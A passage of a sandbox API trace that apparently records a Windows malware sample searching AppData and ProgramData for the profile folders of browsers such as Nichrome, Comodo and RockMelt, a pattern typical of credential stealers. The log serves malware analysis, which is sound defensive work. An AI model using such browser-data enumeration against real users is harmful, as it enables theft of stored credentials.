returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome" [0079.543] LocalFree (hMem=0x66b940) returned 0x0 [0079.543] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome") returned 39 [0079.543] lstrlenA (lpString="\\*.*") returned 4 [0079.543] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.543] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome" [0079.543] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome\\*.*" [0079.543] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Nichrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.543] LocalFree (hMem=0x647ab8) returned 0x0 [0079.543] LocalFree (hMem=0x629248) returned 0x0 [0079.543] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.543] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.543] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.543] lstrlenA (lpString="\\Nichrome") returned 9 [0079.543] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.543] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.543] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Nichrome" | out: lpString1="C:\\ProgramData\\Nichrome") returned="C:\\ProgramData\\Nichrome" [0079.543] LocalFree (hMem=0x66b940) returned 0x0 [0079.543] lstrlenA (lpString="C:\\ProgramData\\Nichrome") returned 23 [0079.543] lstrlenA (lpString="\\*.*") returned 4 [0079.543] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652cb0 [0079.543] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\Nichrome" | out: lpString1="C:\\ProgramData\\Nichrome") returned="C:\\ProgramData\\Nichrome" [0079.543] lstrcatA (in: lpString1="C:\\ProgramData\\Nichrome", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Nichrome\\*.*") returned="C:\\ProgramData\\Nichrome\\*.*" [0079.543] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Nichrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.543] LocalFree (hMem=0x652cb0) returned 0x0 [0079.543] LocalFree (hMem=0x670c38) returned 0x0 [0079.543] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.543] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.543] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.543] lstrlenA (lpString="\\Nichrome") returned 9 [0079.543] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.543] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.543] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Nichrome" | out: lpString1="C:\\ProgramData\\Nichrome") returned="C:\\ProgramData\\Nichrome" [0079.543] LocalFree (hMem=0x66b940) returned 0x0 [0079.543] lstrlenA (lpString="C:\\ProgramData\\Nichrome") returned 23 [0079.543] lstrlenA (lpString="\\*.*") returned 4 [0079.543] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652cb0 [0079.544] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\Nichrome" | out: lpString1="C:\\ProgramData\\Nichrome") returned="C:\\ProgramData\\Nichrome" [0079.544] lstrcatA (in: lpString1="C:\\ProgramData\\Nichrome", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Nichrome\\*.*") returned="C:\\ProgramData\\Nichrome\\*.*" [0079.544] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Nichrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.544] LocalFree (hMem=0x652cb0) returned 0x0 [0079.544] LocalFree (hMem=0x670c38) returned 0x0 [0079.544] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.544] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.544] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.544] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.544] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.544] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.544] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.544] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.544] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.544] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.544] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x37, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.544] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.544] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.544] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.544] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.544] lstrlenA (lpString="\\Comodo") returned 7 [0079.544] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.544] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.544] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Comodo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo" [0079.544] LocalFree (hMem=0x66b940) returned 0x0 [0079.544] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo") returned 39 [0079.545] lstrlenA (lpString="\\*.*") returned 4 [0079.545] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.545] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo" [0079.545] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo\\*.*" [0079.545] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.545] LocalFree (hMem=0x647ab8) returned 0x0 [0079.545] LocalFree (hMem=0x629248) returned 0x0 [0079.545] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.545] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.545] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.545] lstrlenA (lpString="\\Comodo") returned 7 [0079.545] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.545] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.545] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Comodo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo" [0079.545] LocalFree (hMem=0x66b940) returned 0x0 [0079.545] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo") returned 39 [0079.545] lstrlenA (lpString="\\*.*") returned 4 [0079.545] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.545] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo" [0079.545] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo\\*.*" [0079.545] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Comodo\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.545] LocalFree (hMem=0x647ab8) returned 0x0 [0079.545] LocalFree (hMem=0x629248) returned 0x0 [0079.545] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.545] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.545] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.545] lstrlenA (lpString="\\Comodo") returned 7 [0079.545] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0079.545] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.545] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Comodo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo" [0079.545] LocalFree (hMem=0x66b940) returned 0x0 [0079.545] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo") returned 37 [0079.545] lstrlenA (lpString="\\*.*") returned 4 [0079.545] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.545] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo" [0079.545] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo\\*.*" [0079.545] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.546] LocalFree (hMem=0x647ab8) returned 0x0 [0079.546] LocalFree (hMem=0x629248) returned 0x0 [0079.546] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.546] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.546] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.546] lstrlenA (lpString="\\Comodo") returned 7 [0079.546] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0079.546] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.546] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Comodo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo" [0079.546] LocalFree (hMem=0x66b940) returned 0x0 [0079.546] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo") returned 37 [0079.546] lstrlenA (lpString="\\*.*") returned 4 [0079.546] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.546] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo" [0079.546] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo\\*.*" [0079.546] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Comodo\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.546] LocalFree (hMem=0x647ab8) returned 0x0 [0079.546] LocalFree (hMem=0x629248) returned 0x0 [0079.546] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.546] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.546] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.546] lstrlenA (lpString="\\Comodo") returned 7 [0079.546] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.546] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.546] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Comodo" | out: lpString1="C:\\ProgramData\\Comodo") returned="C:\\ProgramData\\Comodo" [0079.546] LocalFree (hMem=0x66b940) returned 0x0 [0079.546] lstrlenA (lpString="C:\\ProgramData\\Comodo") returned 21 [0079.546] lstrlenA (lpString="\\*.*") returned 4 [0079.546] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652cb0 [0079.546] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\Comodo" | out: lpString1="C:\\ProgramData\\Comodo") returned="C:\\ProgramData\\Comodo" [0079.546] lstrcatA (in: lpString1="C:\\ProgramData\\Comodo", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Comodo\\*.*") returned="C:\\ProgramData\\Comodo\\*.*" [0079.546] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Comodo\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.546] LocalFree (hMem=0x652cb0) returned 0x0 [0079.546] LocalFree (hMem=0x670c38) returned 0x0 [0079.547] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.547] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.547] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.547] lstrlenA (lpString="\\Comodo") returned 7 [0079.547] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.547] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.547] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Comodo" | out: lpString1="C:\\ProgramData\\Comodo") returned="C:\\ProgramData\\Comodo" [0079.547] LocalFree (hMem=0x66b940) returned 0x0 [0079.547] lstrlenA (lpString="C:\\ProgramData\\Comodo") returned 21 [0079.547] lstrlenA (lpString="\\*.*") returned 4 [0079.547] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652cb0 [0079.547] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\Comodo" | out: lpString1="C:\\ProgramData\\Comodo") returned="C:\\ProgramData\\Comodo" [0079.547] lstrcatA (in: lpString1="C:\\ProgramData\\Comodo", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Comodo\\*.*") returned="C:\\ProgramData\\Comodo\\*.*" [0079.547] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Comodo\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.547] LocalFree (hMem=0x652cb0) returned 0x0 [0079.547] LocalFree (hMem=0x670c38) returned 0x0 [0079.547] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.547] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.547] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.547] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.547] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.547] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.547] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.547] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.547] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.547] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.547] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x38, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.548] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.548] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.548] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.548] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.548] lstrlenA (lpString="\\RockMelt") returned 9 [0079.548] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.548] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.548] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\RockMelt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt" [0079.548] LocalFree (hMem=0x66b940) returned 0x0 [0079.548] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt") returned 41 [0079.548] lstrlenA (lpString="\\*.*") returned 4 [0079.548] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.548] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt" [0079.548] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt\\*.*" [0079.548] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.548] LocalFree (hMem=0x647b70) returned 0x0 [0079.548] LocalFree (hMem=0x647ab8) returned 0x0 [0079.548] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.548] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.548] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.548] lstrlenA (lpString="\\RockMelt") returned 9 [0079.548] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.548] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.548] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\RockMelt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt" [0079.548] LocalFree (hMem=0x66b940) returned 0x0 [0079.548] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt") returned 41 [0079.548] lstrlenA (lpString="\\*.*") returned 4 [0079.548] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.548] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt" [0079.548] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt\\*.*" [0079.548] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RockMelt\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.548] LocalFree (hMem=0x647b70) returned 0x0 [0079.548] LocalFree (hMem=0x647ab8) returned 0x0 [0079.548] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.548] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.549] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.549] lstrlenA (lpString="\\RockMelt") returned 9 [0079.549] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.549] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.549] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\RockMelt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt" [0079.549] LocalFree (hMem=0x66b940) returned 0x0 [0079.549] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt") returned 39 [0079.549] lstrlenA (lpString="\\*.*") returned 4 [0079.549] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.549] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt" [0079.549] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt\\*.*" [0079.549] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.549] LocalFree (hMem=0x647ab8) returned 0x0 [0079.549] LocalFree (hMem=0x629248) returned 0x0 [0079.549] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.549] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.549] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.549] lstrlenA (lpString="\\RockMelt") returned 9 [0079.549] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.549] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.549] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\RockMelt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt" [0079.549] LocalFree (hMem=0x66b940) returned 0x0 [0079.549] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt") returned 39 [0079.549] lstrlenA (lpString="\\*.*") returned 4 [0079.549] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.549] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt" [0079.549] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\RockMelt\\*.*") 